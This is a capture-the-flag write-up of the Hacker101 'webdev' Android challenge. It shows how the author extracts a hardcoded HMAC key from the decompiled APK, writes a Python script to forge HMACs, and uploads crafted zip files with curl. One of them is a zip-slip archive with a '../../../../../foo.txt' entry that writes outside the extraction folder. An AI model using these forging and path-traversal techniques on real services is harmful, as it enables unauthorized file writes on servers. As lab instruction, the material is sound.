This moderate difficulty CTF at Hacker1 starts off by generating an APK which we can then download. Once downloaded and installed, we can see that the app allows for editing page contents via a WebView, and that's the bulk of what it does.
beamjack@pinion:~/ctf/h1/webdev$ adb install webdev.apk
Performing Streamed Install
Success
The APK
To dive in a little deeper, we can use apktool
to check out what else might be happening under the covers. The tool decodes compiled APKs into .smali
files and the other resources that go into an Android application. .smali
files are a representation of the bytecode that is to be executed, and it is fairly readable in small doses.
A quick scan through the source code reveals some useful but expected strings, and one particularly interesting one.
There is some button click handling to load various URLs:
const-string v0, "http://34.94.3.143/b95a1a8c1d/content/"
invoke-virtual {p1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
const-string v0, "http://34.94.3.143/b95a1a8c1d/edit.php"
invoke-virtual {p1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
And then this member variable and an unimplemented method called Hmac
.
.field protected HmacKey:Ljava/lang/String;
const-string v0, "8c34bac50d9b096d41cafb53683b315690acf65a11b5f63250c61f7718fa1d1d"
.line 39
iput-object v0, p0, Lcom/hacker101/webdev/MainActivity;->HmacKey:Ljava/lang/String;
.method protected Hmac([B)Ljava/lang/String;
.locals 1
.annotation system Ldalvik/annotation/Throws;
value = {
Ljava/lang/Exception;
}
.end annotation
.line 41
new-instance p1, Ljava/lang/Exception;
const-string v0, "TODO: Implement this and expose to JS"
invoke-direct {p1, v0}, Ljava/lang/Exception;-><init>(Ljava/lang/String;)V
throw p1
.end method
Presumably the "TODO" item is throwing an Exception
so that the string remains in the compiled source as a hint. A comment would not have made it into the APK for us to find. Seems like a juicy hint.
The HMAC key is stable across builds, only the embedded urls change, in order to communicate with the changing ip address & hash of the challenge VM.
It should also be noted that JavaScript is enabled for the WebView
, all of this leading us to believe we ought to implement that method for some reason.
invoke-virtual {p1, v0}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
The Web pages
Well, if the app is basically a WebView
and some buttons, and it has JavaScript enabled, and an unimplemented method that says it should be exposed to JavaScript, that all seems to indicate we ought to do that. But wait, before we bother, let's just use a browser to poke around first. We have questions:
- What JavaScript is going to invoke this
Hmac
method? - Is there even any JavaScript on these pages?
- Can we add our own JavaScript to the content we are allowed to post?
- What else is there to this app?
None of the pages have any JavaScript, so maybe that's a dead end. We can put our own scripts in the content we post, but other than a dead simple XSS there doesn't seem to be much point.
Looking at the source of the pages also turns up another URL, not found in the Android app:
<h1>Edit Contents</h1>
<!-- <a href="upload.php">Upload</a> -->
<ul>
<li><a href="edit.php?file=index.html">index.html</a></li>
</ul>
So there is an upload path, that the app doesn't use. It shows a form with a file chooser set to expect a .zip
file. If we choose a zip file and hit Submit we get:
HMAC missing.
HMAC, or Hash based Message Authentication Code, is a way of ensuring the integrity and authenticity of some data sent in a message. One assumes the use of HMAC here is to attempt to guarantee that only the app can upload files, by calculating the HMAC using the key in the source and the data of the file to be uploaded. This would be true, if it weren't so easy to get the key (that's supposed to be a secret).
It turns out you can edit other pages too by changing the ?file=index.html
query parameter on the URL but that ends up not mattering for capturing the flags.
I also thought that the header sent along with all the requests from the app's WebView
might be necessary, so you'll see "X-Requested-With: com.hacker101.webdev"
in these examples, but it's not needed.
No need for an app
Since we are now pretty convinced we can upload a file of our choosing, that it should probably be a .zip
file, and that we need to supply the correct HMAC, there is really no need to modify and recompile the Android app, though that might be an interesting exercise itself. Let's use a little python to calculate the HMAC for a file, using the key we extracted from the APK.
import sys
import hmac
import hashlib
import binascii
key = binascii.unhexlify('8c34bac50d9b096d41cafb53683b315690acf65a11b5f63250c61f7718fa1d1d')
with open(sys.argv[1], 'rb') as f:
data = f.read()
h = hmac.new(key, data, hashlib.md5)
print(h.hexdigest())
Calculate the HMAC for our test.zip
file:
beamjack@pinion:~/ctf/h1/webdev$ python3 lee_hmac.py test.zip
a75ec3ae9d42f6a036a9dcbc805855ff
Then just use cURL to make the request:
beamjack@pinion$ curl -vvv -H "X-Requested-With:com.hacker101.webdev" -F hmac=a75ec3ae9d42f6a036a9dcbc805855ff -F file=@test.zip http://34.94.3.143/3859169b7a/upload.php
* Trying 34.94.3.143:80...
* Connected to 34.94.3.143 (34.94.3.143) port 80 (#0)
> POST /3859169b7a/upload.php HTTP/1.1
> Host: 34.94.3.143
> User-Agent: curl/7.74.0
> Accept: */*
> X-Requested-With:com.hacker101.webdev
> Content-Length: 903
> Content-Type: multipart/form-data; boundary=------------------------10e3fbb38bbba098
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Mon, 15 Feb 2021 19:11:51 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 135
< Connection: keep-alive
<
* Connection #0 to host 34.94.3.143 left intact
Extracted to temp folder. TODO: Copy to content directory. ^FLAG^1$FLAG$
And there we go.
But wait, there's more
So that was the first flag, and it also gives us a hint about what the next flag is probably about. Since it tells us (for some reason) that the file was unzipped to a temporary directory, we should probably use that somehow. We could try guessing at where it unzips, but maybe it doesn't matter. If you know that a zip file has a directory structure, and that when you unzip it, it attempts to extract that structure relative to where you're unzipping it from, you could make the mere unzipping of your file write to somewhere else in the file system that the unzipping processes has write permission for. Note that the HMAC has to be recalculated for this new file, because its contents are different than the original.
beamjack@pinion:~/ctf/h1/webdev$ unzip -l test2.zip
Archive: test2.zip
Length Date Time Name
--------- ---------- ----- ----
7 2021-02-15 11:22 ../../../../../foo.txt
--------- -------
7 1 file
beamjack@pinion:~/ctf/h1/webdev$ curl -vvv -H "X-Requested-With:com.hacker101.webdev" -F hmac=d277edb11d21f6cef28ac29ddb54cc35 -F file=@test2.zip http://34.94.3.143/3859169b7a/upload.php
* Trying 34.94.3.143:80...
* Connected to 34.94.3.143 (34.94.3.143) port 80 (#0)
> POST /3859169b7a/upload.php HTTP/1.1
> Host: 34.94.3.143
> User-Agent: curl/7.74.0
> Accept: */*
> X-Requested-With:com.hacker101.webdev
> Content-Length: 527
> Content-Type: multipart/form-data; boundary=------------------------9c40f06cb252133d
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Mon, 15 Feb 2021 19:23:14 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 184
< Connection: keep-alive
<
* Connection #0 to host 34.94.3.143 left intact
Valid HMAC: ^FLAG^1$FLAG$<br>Path traversal: ^FLAG^2$FLAG$
Yep, flag 2 is because we showed we can use directory traversal to write a file of our choice where we want.